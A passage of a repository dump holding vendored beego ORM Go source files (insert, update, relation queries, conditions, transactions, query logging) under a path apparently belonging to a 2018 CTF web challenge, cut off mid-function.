reflect.Indirect(reflect.ValueOf(mds))\n\n\tswitch sind.Kind() {\n\tcase reflect.Array, reflect.Slice:\n\t\tif sind.Len() == 0 {\n\t\t\treturn cnt, ErrArgs\n\t\t}\n\tdefault:\n\t\treturn cnt, ErrArgs\n\t}\n\n\tif bulk <= 1 {\n\t\tfor i := 0; i < sind.Len(); i++ {\n\t\t\tind := reflect.Indirect(sind.Index(i))\n\t\t\tmi, _ := o.getMiInd(ind.Interface(), false)\n\t\t\tid, err := o.alias.DbBaser.Insert(o.db, mi, ind, o.alias.TZ)\n\t\t\tif err != nil {\n\t\t\t\treturn cnt, err\n\t\t\t}\n\n\t\t\to.setPk(mi, ind, id)\n\n\t\t\tcnt++\n\t\t}\n\t} else {\n\t\tmi, _ := o.getMiInd(sind.Index(0).Interface(), false)\n\t\treturn o.alias.DbBaser.InsertMulti(o.db, mi, sind, bulk, o.alias.TZ)\n\t}\n\treturn cnt, nil\n}\n\n// InsertOrUpdate data to database\nfunc (o *orm) InsertOrUpdate(md interface{}, colConflitAndArgs ...string) (int64, error) {\n\tmi, ind := o.getMiInd(md, true)\n\tid, err := o.alias.DbBaser.InsertOrUpdate(o.db, mi, ind, o.alias, colConflitAndArgs...)\n\tif err != nil {\n\t\treturn id, err\n\t}\n\n\to.setPk(mi, ind, id)\n\n\treturn id, nil\n}\n\n// update model to database.\n// cols set the columns those want to update.\nfunc (o *orm) Update(md interface{}, cols ...string) (int64, error) {\n\tmi, ind := o.getMiInd(md, true)\n\treturn o.alias.DbBaser.Update(o.db, mi, ind, o.alias.TZ, cols)\n}\n\n// delete model in database\n// cols shows the delete conditions values read from. default is pk\nfunc (o *orm) Delete(md interface{}, cols ...string) (int64, error) {\n\tmi, ind := o.getMiInd(md, true)\n\tnum, err := o.alias.DbBaser.Delete(o.db, mi, ind, o.alias.TZ, cols)\n\tif err != nil {\n\t\treturn num, err\n\t}\n\tif num > 0 {\n\t\to.setPk(mi, ind, 0)\n\t}\n\treturn num, nil\n}\n\n// create a models to models queryer\nfunc (o *orm) QueryM2M(md interface{}, name string) QueryM2Mer {\n\tmi, ind := o.getMiInd(md, true)\n\tfi := o.getFieldInfo(mi, name)\n\n\tswitch {\n\tcase fi.fieldType == RelManyToMany:\n\tcase fi.fieldType == RelReverseMany && fi.reverseFieldInfo.mi.isThrough:\n\tdefault:\n\t\tpanic(fmt.Errorf(\"<Ormer.QueryM2M> model `%s` . name `%s` is not a m2m field\", fi.name, mi.fullName))\n\t}\n\n\treturn newQueryM2M(md, o, mi, fi, ind)\n}\n\n// load related models to md model.\n// args are limit, offset int and order string.\n//\n// example:\n// \torm.LoadRelated(post,\"Tags\")\n// \tfor _,tag := range post.Tags{...}\n//\n// make sure the relation is defined in model struct tags.\nfunc (o *orm) LoadRelated(md interface{}, name string, args ...interface{}) (int64, error) {\n\t_, fi, ind, qseter := o.queryRelated(md, name)\n\n\tqs := qseter.(*querySet)\n\n\tvar relDepth int\n\tvar limit, offset int64\n\tvar order string\n\tfor i, arg := range args {\n\t\tswitch i {\n\t\tcase 0:\n\t\t\tif v, ok := arg.(bool); ok {\n\t\t\t\tif v {\n\t\t\t\t\trelDepth = DefaultRelsDepth\n\t\t\t\t}\n\t\t\t} else if v, ok := arg.(int); ok {\n\t\t\t\trelDepth = v\n\t\t\t}\n\t\tcase 1:\n\t\t\tlimit = ToInt64(arg)\n\t\tcase 2:\n\t\t\toffset = ToInt64(arg)\n\t\tcase 3:\n\t\t\torder, _ = arg.(string)\n\t\t}\n\t}\n\n\tswitch fi.fieldType {\n\tcase RelOneToOne, RelForeignKey, RelReverseOne:\n\t\tlimit = 1\n\t\toffset = 0\n\t}\n\n\tqs.limit = limit\n\tqs.offset = offset\n\tqs.relDepth = relDepth\n\n\tif len(order) > 0 {\n\t\tqs.orders = []string{order}\n\t}\n\n\tfind := ind.FieldByIndex(fi.fieldIndex)\n\n\tvar nums int64\n\tvar err error\n\tswitch fi.fieldType {\n\tcase RelOneToOne, RelForeignKey, RelReverseOne:\n\t\tval := reflect.New(find.Type().Elem())\n\t\tcontainer := val.Interface()\n\t\terr = qs.One(container)\n\t\tif err == nil {\n\t\t\tfind.Set(val)\n\t\t\tnums = 1\n\t\t}\n\tdefault:\n\t\tnums, err = qs.All(find.Addr().Interface())\n\t}\n\n\treturn nums, err\n}\n\n// return a QuerySeter for related models to md model.\n// it can do all, update, delete in QuerySeter.\n// example:\n// \tqs := orm.QueryRelated(post,\"Tag\")\n//  qs.All(&[]*Tag{})\n//\nfunc (o *orm) QueryRelated(md interface{}, name string) QuerySeter {\n\t// is this api needed ?\n\t_, _, _, qs := o.queryRelated(md, name)\n\treturn qs\n}\n\n// get QuerySeter for related models to md model\nfunc (o *orm) queryRelated(md interface{}, name string) (*modelInfo, *fieldInfo, reflect.Value, QuerySeter) {\n\tmi, ind := o.getMiInd(md, true)\n\tfi := o.getFieldInfo(mi, name)\n\n\t_, _, exist := getExistPk(mi, ind)\n\tif !exist {\n\t\tpanic(ErrMissPK)\n\t}\n\n\tvar qs *querySet\n\n\tswitch fi.fieldType {\n\tcase RelOneToOne, RelForeignKey, RelManyToMany:\n\t\tif !fi.inModel {\n\t\t\tbreak\n\t\t}\n\t\tqs = o.getRelQs(md, mi, fi)\n\tcase RelReverseOne, RelReverseMany:\n\t\tif !fi.inModel {\n\t\t\tbreak\n\t\t}\n\t\tqs = o.getReverseQs(md, mi, fi)\n\t}\n\n\tif qs == nil {\n\t\tpanic(fmt.Errorf(\"<Ormer> name `%s` for model `%s` is not an available rel/reverse field\", md, name))\n\t}\n\n\treturn mi, fi, ind, qs\n}\n\n// get reverse relation QuerySeter\nfunc (o *orm) getReverseQs(md interface{}, mi *modelInfo, fi *fieldInfo) *querySet {\n\tswitch fi.fieldType {\n\tcase RelReverseOne, RelReverseMany:\n\tdefault:\n\t\tpanic(fmt.Errorf(\"<Ormer> name `%s` for model `%s` is not an available reverse field\", fi.name, mi.fullName))\n\t}\n\n\tvar q *querySet\n\n\tif fi.fieldType == RelReverseMany && fi.reverseFieldInfo.mi.isThrough {\n\t\tq = newQuerySet(o, fi.relModelInfo).(*querySet)\n\t\tq.cond = NewCondition().And(fi.reverseFieldInfoM2M.column+ExprSep+fi.reverseFieldInfo.column, md)\n\t} else {\n\t\tq = newQuerySet(o, fi.reverseFieldInfo.mi).(*querySet)\n\t\tq.cond = NewCondition().And(fi.reverseFieldInfo.column, md)\n\t}\n\n\treturn q\n}\n\n// get relation QuerySeter\nfunc (o *orm) getRelQs(md interface{}, mi *modelInfo, fi *fieldInfo) *querySet {\n\tswitch fi.fieldType {\n\tcase RelOneToOne, RelForeignKey, RelManyToMany:\n\tdefault:\n\t\tpanic(fmt.Errorf(\"<Ormer> name `%s` for model `%s` is not an available rel field\", fi.name, mi.fullName))\n\t}\n\n\tq := newQuerySet(o, fi.relModelInfo).(*querySet)\n\tq.cond = NewCondition()\n\n\tif fi.fieldType == RelManyToMany {\n\t\tq.cond = q.cond.And(fi.reverseFieldInfoM2M.column+ExprSep+fi.reverseFieldInfo.column, md)\n\t} else {\n\t\tq.cond = q.cond.And(fi.reverseFieldInfo.column, md)\n\t}\n\n\treturn q\n}\n\n// return a QuerySeter for table operations.\n// table name can be string or struct.\n// e.g. QueryTable(\"user\"), QueryTable(&user{}) or QueryTable((*User)(nil)),\nfunc (o *orm) QueryTable(ptrStructOrTableName interface{}) (qs QuerySeter) {\n\tvar name string\n\tif table, ok := ptrStructOrTableName.(string); ok {\n\t\tname = snakeString(table)\n\t\tif mi, ok := modelCache.get(name); ok {\n\t\t\tqs = newQuerySet(o, mi)\n\t\t}\n\t} else {\n\t\tname = getFullName(indirectType(reflect.TypeOf(ptrStructOrTableName)))\n\t\tif mi, ok := modelCache.getByFullName(name); ok {\n\t\t\tqs = newQuerySet(o, mi)\n\t\t}\n\t}\n\tif qs == nil {\n\t\tpanic(fmt.Errorf(\"<Ormer.QueryTable> table name: `%s` not exists\", name))\n\t}\n\treturn\n}\n\n// switch to another registered database driver by given name.\nfunc (o *orm) Using(name string) error {\n\tif o.isTx {\n\t\tpanic(fmt.Errorf(\"<Ormer.Using> transaction has been start, cannot change db\"))\n\t}\n\tif al, ok := dataBaseCache.get(name); ok {\n\t\to.alias = al\n\t\tif Debug {\n\t\t\to.db = newDbQueryLog(al, al.DB)\n\t\t} else {\n\t\t\to.db = al.DB\n\t\t}\n\t} else {\n\t\treturn fmt.Errorf(\"<Ormer.Using> unknown db alias name `%s`\", name)\n\t}\n\treturn nil\n}\n\n// begin transaction\nfunc (o *orm) Begin() error {\n\tif o.isTx {\n\t\treturn ErrTxHasBegan\n\t}\n\tvar tx *sql.Tx\n\ttx, err := o.db.(txer).Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\to.isTx = true\n\tif Debug {\n\t\to.db.(*dbQueryLog).SetDB(tx)\n\t} else {\n\t\to.db = tx\n\t}\n\treturn nil\n}\n\n// commit transaction\nfunc (o *orm) Commit() error {\n\tif !o.isTx {\n\t\treturn ErrTxDone\n\t}\n\terr := o.db.(txEnder).Commit()\n\tif err == nil {\n\t\to.isTx = false\n\t\to.Using(o.alias.Name)\n\t} else if err == sql.ErrTxDone {\n\t\treturn ErrTxDone\n\t}\n\treturn err\n}\n\n// rollback transaction\nfunc (o *orm) Rollback() error {\n\tif !o.isTx {\n\t\treturn ErrTxDone\n\t}\n\terr := o.db.(txEnder).Rollback()\n\tif err == nil {\n\t\to.isTx = false\n\t\to.Using(o.alias.Name)\n\t} else if err == sql.ErrTxDone {\n\t\treturn ErrTxDone\n\t}\n\treturn err\n}\n\n// return a raw query seter for raw sql string.\nfunc (o *orm) Raw(query string, args ...interface{}) RawSeter {\n\treturn newRawSet(o, query, args)\n}\n\n// return current using database Driver\nfunc (o *orm) Driver() Driver {\n\treturn driver(o.alias.Name)\n}\n\n// NewOrm create new orm\nfunc NewOrm() Ormer {\n\tBootStrap() // execute only once\n\n\to := new(orm)\n\terr := o.Using(\"default\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn o\n}\n\n// NewOrmWithDB create a new ormer object with specify *sql.DB for query\nfunc NewOrmWithDB(driverName, aliasName string, db *sql.DB) (Ormer, error) {\n\tvar al *alias\n\n\tif dr, ok := drivers[driverName]; ok {\n\t\tal = new(alias)\n\t\tal.DbBaser = dbBasers[dr]\n\t\tal.Driver = dr\n\t} else {\n\t\treturn nil, fmt.Errorf(\"driver name `%s` have not registered\", driverName)\n\t}\n\n\tal.Name = aliasName\n\tal.DriverName = driverName\n\n\to := new(orm)\n\to.alias = al\n\n\tif Debug {\n\t\to.db = newDbQueryLog(o.alias, db)\n\t} else {\n\t\to.db = db\n\t}\n\n\treturn o, nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/orm_conds.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\n// ExprSep define the expression separation\nconst (\n\tExprSep = \"__\"\n)\n\ntype condValue struct {\n\texprs  []string\n\targs   []interface{}\n\tcond   *Condition\n\tisOr   bool\n\tisNot  bool\n\tisCond bool\n}\n\n// Condition struct.\n// work for WHERE conditions.\ntype Condition struct {\n\tparams []condValue\n}\n\n// NewCondition return new condition struct\nfunc NewCondition() *Condition {\n\tc := &Condition{}\n\treturn c\n}\n\n// And add expression to condition\nfunc (c Condition) And(expr string, args ...interface{}) *Condition {\n\tif expr == \"\" || len(args) == 0 {\n\t\tpanic(fmt.Errorf(\"<Condition.And> args cannot empty\"))\n\t}\n\tc.params = append(c.params, condValue{exprs: strings.Split(expr, ExprSep), args: args})\n\treturn &c\n}\n\n// AndNot add NOT expression to condition\nfunc (c Condition) AndNot(expr string, args ...interface{}) *Condition {\n\tif expr == \"\" || len(args) == 0 {\n\t\tpanic(fmt.Errorf(\"<Condition.AndNot> args cannot empty\"))\n\t}\n\tc.params = append(c.params, condValue{exprs: strings.Split(expr, ExprSep), args: args, isNot: true})\n\treturn &c\n}\n\n// AndCond combine a condition to current condition\nfunc (c *Condition) AndCond(cond *Condition) *Condition {\n\tc = c.clone()\n\tif c == cond {\n\t\tpanic(fmt.Errorf(\"<Condition.AndCond> cannot use self as sub cond\"))\n\t}\n\tif cond != nil {\n\t\tc.params = append(c.params, condValue{cond: cond, isCond: true})\n\t}\n\treturn c\n}\n\n// AndNotCond combine a AND NOT condition to current condition\nfunc (c *Condition) AndNotCond(cond *Condition) *Condition {\n\tc = c.clone()\n\tif c == cond {\n\t\tpanic(fmt.Errorf(\"<Condition.AndNotCond> cannot use self as sub cond\"))\n\t}\n\n\tif cond != nil {\n\t\tc.params = append(c.params, condValue{cond: cond, isCond: true, isNot: true})\n\t}\n\treturn c\n}\n\n// Or add OR expression to condition\nfunc (c Condition) Or(expr string, args ...interface{}) *Condition {\n\tif expr == \"\" || len(args) == 0 {\n\t\tpanic(fmt.Errorf(\"<Condition.Or> args cannot empty\"))\n\t}\n\tc.params = append(c.params, condValue{exprs: strings.Split(expr, ExprSep), args: args, isOr: true})\n\treturn &c\n}\n\n// OrNot add OR NOT expression to condition\nfunc (c Condition) OrNot(expr string, args ...interface{}) *Condition {\n\tif expr == \"\" || len(args) == 0 {\n\t\tpanic(fmt.Errorf(\"<Condition.OrNot> args cannot empty\"))\n\t}\n\tc.params = append(c.params, condValue{exprs: strings.Split(expr, ExprSep), args: args, isNot: true, isOr: true})\n\treturn &c\n}\n\n// OrCond combine a OR condition to current condition\nfunc (c *Condition) OrCond(cond *Condition) *Condition {\n\tc = c.clone()\n\tif c == cond {\n\t\tpanic(fmt.Errorf(\"<Condition.OrCond> cannot use self as sub cond\"))\n\t}\n\tif cond != nil {\n\t\tc.params = append(c.params, condValue{cond: cond, isCond: true, isOr: true})\n\t}\n\treturn c\n}\n\n// OrNotCond combine a OR NOT condition to current condition\nfunc (c *Condition) OrNotCond(cond *Condition) *Condition {\n\tc = c.clone()\n\tif c == cond {\n\t\tpanic(fmt.Errorf(\"<Condition.OrNotCond> cannot use self as sub cond\"))\n\t}\n\n\tif cond != nil {\n\t\tc.params = append(c.params, condValue{cond: cond, isCond: true, isNot: true, isOr: true})\n\t}\n\treturn c\n}\n\n// IsEmpty check the condition arguments are empty or not.\nfunc (c *Condition) IsEmpty() bool {\n\treturn len(c.params) == 0\n}\n\n// clone clone a condition\nfunc (c Condition) clone() *Condition {\n\treturn &c\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/orm_log.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"strings\"\n\t\"time\"\n)\n\n// Log implement the log.Logger\ntype Log struct {\n\t*log.Logger\n}\n\n// NewLog set io.Writer to create a Logger.\nfunc NewLog(out io.Writer) *Log {\n\td := new(Log)\n\td.Logger = log.New(out, \"[ORM]\", log.LstdFlags)\n\treturn d\n}\n\nfunc debugLogQueies(alias *alias, operaton, query string, t time.Time, err error, args ...interface{}) {\n\tsub := time.Now().Sub(t) / 1e5\n\telsp := float64(int(sub)) / 10.0\n\tflag := \"  OK\"\n\tif err != nil {\n\t\tflag = \"FAIL\"\n\t}\n\tcon := fmt.Sprintf(\" -[Queries/%s] - [%s / %11s / %7.1fms] - [%s]\", alias.Name, flag, operaton, elsp, query)\n\tcons := make([]string, 0, len(args))\n\tfor _, arg := range args {\n\t\tcons = append(cons, fmt.Sprintf(\"%v\", arg))\n\t}\n\tif len(cons) > 0 {\n\t\tcon += fmt.Sprintf(\" - `%s`\", strings.Join(cons, \"`, `\"))\n\t}\n\tif err != nil {\n\t\tcon += \" - \" + err.Error()\n\t}\n\tDebugLog.Println(con)\n}\n\n// statement query logger struct.\n// if dev mode, use stmtQueryLog, or use stmtQuerier.\ntype stmtQueryLog struct {\n\talias *alias\n\tquery string\n\tstmt  stmtQuerier\n}\n\nvar _ stmtQuerier = new(stmtQueryLog)\n\nfunc (d *stmtQueryLog) Close() error {\n\ta := time.Now()\n\terr := d.stmt.Close()\n\tdebugLogQueies(d.alias, \"st.Close\", d.query, a, err)\n\treturn err\n}\n\nfunc (d *stmtQueryLog) Exec(args ...interface{}) (sql.Result, error) {\n\ta := time.Now()\n\tres, err := d.stmt.Exec(args...)\n\tdebugLogQueies(d.alias, \"st.Exec\", d.query, a, err, args...)\n\treturn res, err\n}\n\nfunc (d *stmtQueryLog) Query(args ...interface{}) (*sql.Rows, error) {\n\ta := time.Now()\n\tres, err := d.stmt.Query(args...)\n\tdebugLogQueies(d.alias, \"st.Query\", d.query, a, err, args...)\n\treturn res, err\n}\n\nfunc (d *stmtQueryLog) QueryRow(args ...interface{}) *sql.Row {\n\ta := time.Now()\n\tres := d.stmt.QueryRow(args...)\n\tdebugLogQueies(d.alias, \"st.QueryRow\", d.query, a, nil, args...)\n\treturn res\n}\n\nfunc newStmtQueryLog(alias *alias, stmt stmtQuerier, query string) stmtQuerier {\n\td := new(stmtQueryLog)\n\td.stmt = stmt\n\td.alias = alias\n\td.query = query\n\treturn d\n}\n\n// database query logger struct.\n// if dev mode, use dbQueryLog, or use dbQuerier.\ntype dbQueryLog struct {\n\talias *alias\n\tdb    dbQuerier\n\ttx    txer\n\ttxe   txEnder\n}\n\nvar _ dbQuerier = new(dbQueryLog)\nvar _ txer = new(dbQueryLog)\nvar _ txEnder = new(dbQueryLog)\n\nfunc (d *dbQueryLog) Prepare(query string) (*sql.Stmt, error) {\n\ta := time.Now()\n\tstmt, err := d.db.Prepare(query)\n\tdebugLogQueies(d.alias, \"db.Prepare\", query, a, err)\n\treturn stmt, err\n}\n\nfunc (d *dbQueryLog) Exec(query string, args ...interface{}) (sql.Result, error) {\n\ta := time.Now()\n\tres, err := d.db.Exec(query, args...)\n\tdebugLogQueies(d.alias, \"db.Exec\", query, a, err, args...)\n\treturn res, err\n}\n\nfunc (d *dbQueryLog) Query(query string, args ...interface{}) (*sql.Rows, error) {\n\ta := time.Now()\n\tres, err := d.db.Query(query, args...)\n\tdebugLogQueies(d.alias, \"db.Query\", query, a, err, args...)\n\treturn res, err\n}\n\nfunc (d *dbQueryLog) QueryRow(query string, args ...interface{}) *sql.Row {\n\ta := time.Now()\n\tres := d.db.QueryRow(query, args...)\n\tdebugLogQueies(d.alias, \"db.QueryRow\", query, a, nil, args...)\n\treturn res\n}\n\nfunc (d *dbQueryLog) Begin() (*sql.Tx, error) {\n\ta := time.Now()\n\ttx, err := d.db.(txer).Begin()\n\tdebugLogQueies(d.alias, \"db.Begin\", \"START TRANSACTION\", a, err)\n\treturn tx, err\n}\n\nfunc (d *dbQueryLog) Commit() error {\n\ta := time.Now()\n\terr := d.db.(txEnder).Commit()\n\tdebugLogQueies(d.alias, \"tx.Commit\", \"COMMIT\", a, err)\n\treturn err\n}\n\nfunc (d *dbQueryLog) Rollback() error {\n\ta := time.Now()\n\terr := d.db.(txEnder).Rollback()\n\tdebugLogQueies(d.alias, \"tx.Rollback\", \"ROLLBACK\", a, err)\n\treturn err\n}\n\nfunc (d *dbQueryLog) SetDB(db dbQuerier) {\n\td.db = db\n}\n\nfunc newDbQueryLog(alias *alias, db dbQuerier) dbQuerier {\n\td := new(dbQueryLog)\n\td.alias = alias\n\td.db = db\n\treturn d\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/orm_object.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n)\n\n// an insert queryer struct\ntype insertSet struct {\n\tmi     *modelInfo\n\torm    *orm\n\tstmt   stmtQuerier\n\tclosed bool\n}\n\nvar _ Inserter = new(insertSet)\n\n// insert model ignore it's registered or not.\nfunc (o *insertSet) Insert(md interface{}) (int64, error) {\n\tif o.closed {\n\t\treturn 0, ErrStmtClosed\n\t}\n\tval := reflect.ValueOf(md)\n\tind := reflect.Indirect(val)\n\ttyp := ind.Type()\n\tname := getFullName(typ)\n\tif val.Kind() != reflect.Ptr {\n\t\tpanic(fmt.Errorf(\"<Inserter.Insert> cannot use non-ptr model struct `%s`\", name))\n\t}\n\tif name != o.mi.fullName {\n\t\tpanic(fmt.Errorf(\"<Inserter.Insert> need model `%s` but found `%s`\", o.mi.fullName, name))\n\t}\n\tid, err := o.orm.alias.DbBaser.InsertStmt(o.stmt, o.mi, ind, o.orm.alias.TZ)\n\tif err != nil {\n\t\treturn id, err\n\t}\n\tif id > 0 {\n\t\tif o.mi.fields.pk.auto {\n\t\t\tif o.mi.fields.pk.fieldType&IsPositiveIntegerField > 0 {\n\t\t\t\tind.FieldByIndex(o.mi.fields.pk.fieldIndex).SetUint(uint64(id))\n\t\t\t} else {\n\t\t\t\tind.FieldByIndex(o.mi.fields.pk.fieldIndex).SetInt(id)\n\t\t\t}\n\t\t}\n\t}\n\treturn id, nil\n}\n\n// close insert queryer statement\nfunc (o *insertSet) Close() error {\n\tif o.closed {\n\t\treturn ErrStmtClosed\n\t}\n\to.closed = true\n\treturn o.stmt.Close()\n}\n\n// create new insert queryer.\nfunc newInsertSet(orm *orm, mi *modelInfo) (Inserter, error) {\n\tbi := new(insertSet)\n\tbi.orm = orm\n\tbi.mi = mi\n\tst, query, err := orm.alias.DbBaser.PrepareInsert(orm.db, mi)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif Debug {\n\t\tbi.stmt = newStmtQueryLog(orm.alias, st, query)\n\t} else {\n\t\tbi.stmt = st\n\t}\n\treturn bi, nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/orm_querym2m.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport \"reflect\"\n\n// model to model struct\ntype queryM2M struct {\n\tmd  interface{}\n\tmi  *modelInfo\n\tfi  *fieldInfo\n\tqs  *querySet\n\tind reflect.Value\n}\n\n// add models to origin models when creating queryM2M.\n// example:\n// \tm2m := orm.QueryM2M(post,\"Tag\")\n// \tm2m.Add(&Tag1{},&Tag2{})\n//  for _,tag := range post.Tags{}\n//\n// make sure the relation is defined in post model struct tag.\nfunc (o *queryM2M) Add(mds ...interface{}) (int64, error) {\n\tfi := o.fi\n\tmi := fi.relThroughModelInfo\n\tmfi := fi.reverseFieldInfo\n\trfi := fi.reverseFieldInfoTwo\n\n\torm := o.qs.orm\n\tdbase := orm.alias.DbBaser\n\n\tvar models []interface{}\n\tvar otherValues []interface{}\n\tvar otherNames []string\n\n\tfor _, colname := range mi.fields.dbcols {\n\t\tif colname != mfi.column && colname != rfi.column && colname != fi.mi.fields.pk.column &&\n\t\t\tmi.fields.columns[colname] != mi.fields.pk {\n\t\t\totherNames = append(otherNames, colname)\n\t\t}\n\t}\n\tfor i, md := range mds {\n\t\tif reflect.Indirect(reflect.ValueOf(md)).Kind() != reflect.Struct && i > 0 {\n\t\t\totherValues = append(otherValues, md)\n\t\t\tmds = append(mds[:i], mds[i+1:]...)\n\t\t}\n\t}\n\tfor _, md := range mds {\n\t\tval := reflect.ValueOf(md)\n\t\tif val.Kind() == reflect.Slice || val.Kind() == reflect.Array {\n\t\t\tfor i := 0; i < val.Len(); i++ {\n\t\t\t\tv := val.Index(i)\n\t\t\t\tif v.CanInterface() {\n\t\t\t\t\tmodels = append(models, v.Interface())\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tmodels = append(models, md)\n\t\t}\n\t}\n\n\t_, v1, exist := getExistPk(o.mi, o.ind)\n\tif !exist {\n\t\tpanic(ErrMissPK)\n\t}\n\n\tnames := []string{mfi.column, rfi.column}\n\n\tvalues := make([]interface{}, 0, len(models)*2)\n\tfor _, md := range models {\n\n\t\tind := reflect.Indirect(reflect.ValueOf(md))\n\t\tvar v2 interface{}\n\t\tif ind.Kind() != reflect.Struct {\n\t\t\tv2 = ind.Interface()\n\t\t} else {\n\t\t\t_, v2, exist = getExistPk(fi.relModelInfo, ind)\n\t\t\tif !exist {\n\t\t\t\tpanic(ErrMissPK)\n\t\t\t}\n\t\t}\n\t\tvalues = append(values, v1, v2)\n\n\t}\n\tnames = append(names, otherNames...)\n\tvalues = append(values, otherValues...)\n\treturn dbase.InsertValue(orm.db, mi, true, names, values)\n}\n\n// remove models following the origin model relationship\nfunc (o *queryM2M) Remove(mds ...interface{}) (int64, error) {\n\tfi := o.fi\n\tqs := o.qs.Filter(fi.reverseFieldInfo.name, o.md)\n\n\treturn qs.Filter(fi.reverseFieldInfoTwo.name+ExprSep+\"in\", mds).Delete()\n}\n\n// check model is existed in relationship of origin model\nfunc (o *queryM2M) Exist(md interface{}) bool {\n\tfi := o.fi\n\treturn o.qs.Filter(fi.reverseFieldInfo.name, o.md).\n\t\tFilter(fi.reverseFieldInfoTwo.name, md).Exist()\n}\n\n// clean all models in related of origin model\nfunc (o *queryM2M) Clear() (int64, error) {\n\tfi := o.fi\n\treturn o.qs.Filter(fi.reverseFieldInfo.name, o.md).Delete()\n}\n\n// count all related models of origin model\nfunc (o *queryM2M) Count() (int64, error) {\n\tfi := o.fi\n\treturn o.qs.Filter(fi.reverseFieldInfo.name, o.md).Count()\n}\n\nvar _ QueryM2Mer = new(queryM2M)\n\n// create new M2M queryer.\nfunc newQueryM2M(md interface{}, o *orm, mi *modelInfo, fi *fieldInfo, ind reflect.Value) QueryM2Mer {\n\tqm2m := new(queryM2M)\n\tqm2m.md = md\n\tqm2m.mi = mi\n\tqm2m.fi = fi\n\tqm2m.ind = ind\n\tqm2m.qs = newQuerySet(o, fi.relThroughModelInfo).(*querySet)\n\treturn qm2m\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/orm_queryset.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n)\n\ntype colValue struct {\n\tvalue int64\n\topt   operator\n}\n\ntype operator int\n\n// define Col operations\nconst (\n\tColAdd operator = iota\n\tColMinus\n\tColMultiply\n\tColExcept\n)\n\n// ColValue do the field raw changes. e.g Nums = Nums + 10. usage:\n// \tParams{\n// \t\t\"Nums\": ColValue(Col_Add, 10),\n// \t}\nfunc ColValue(opt operator, value interface{}) interface{} {\n\tswitch opt {\n\tcase ColAdd, ColMinus, ColMultiply, ColExcept:\n\tdefault:\n\t\tpanic(fmt.Errorf(\"orm.ColValue wrong operator\"))\n\t}\n\tv, err := StrTo(ToStr(value)).Int64()\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"orm.ColValue doesn't support non string/numeric type, %s\", err))\n\t}\n\tvar val colValue\n\tval.value = v\n\tval.opt = opt\n\treturn val\n}\n\n// real query struct\ntype querySet struct {\n\tmi       *modelInfo\n\tcond     *Condition\n\trelated  []string\n\trelDepth int\n\tlimit    int64\n\toffset   int64\n\tgroups   []string\n\torders   []string\n\tdistinct bool\n\torm      *orm\n}\n\nvar _ QuerySeter = new(querySet)\n\n// add condition expression to QuerySeter.\nfunc (o querySet) Filter(expr string, args ...interface{}) QuerySeter {\n\tif o.cond == nil {\n\t\to.cond = NewCondition()\n\t}\n\to.cond = o.cond.And(expr, args...)\n\treturn &o\n}\n\n// add NOT condition to querySeter.\nfunc (o querySet) Exclude(expr string, args ...interface{}) QuerySeter {\n\tif o.cond == nil {\n\t\to.cond = NewCondition()\n\t}\n\to.cond = o.cond.AndNot(expr, args...)\n\treturn &o\n}\n\n// set offset number\nfunc (o *querySet) setOffset(num interface{}) 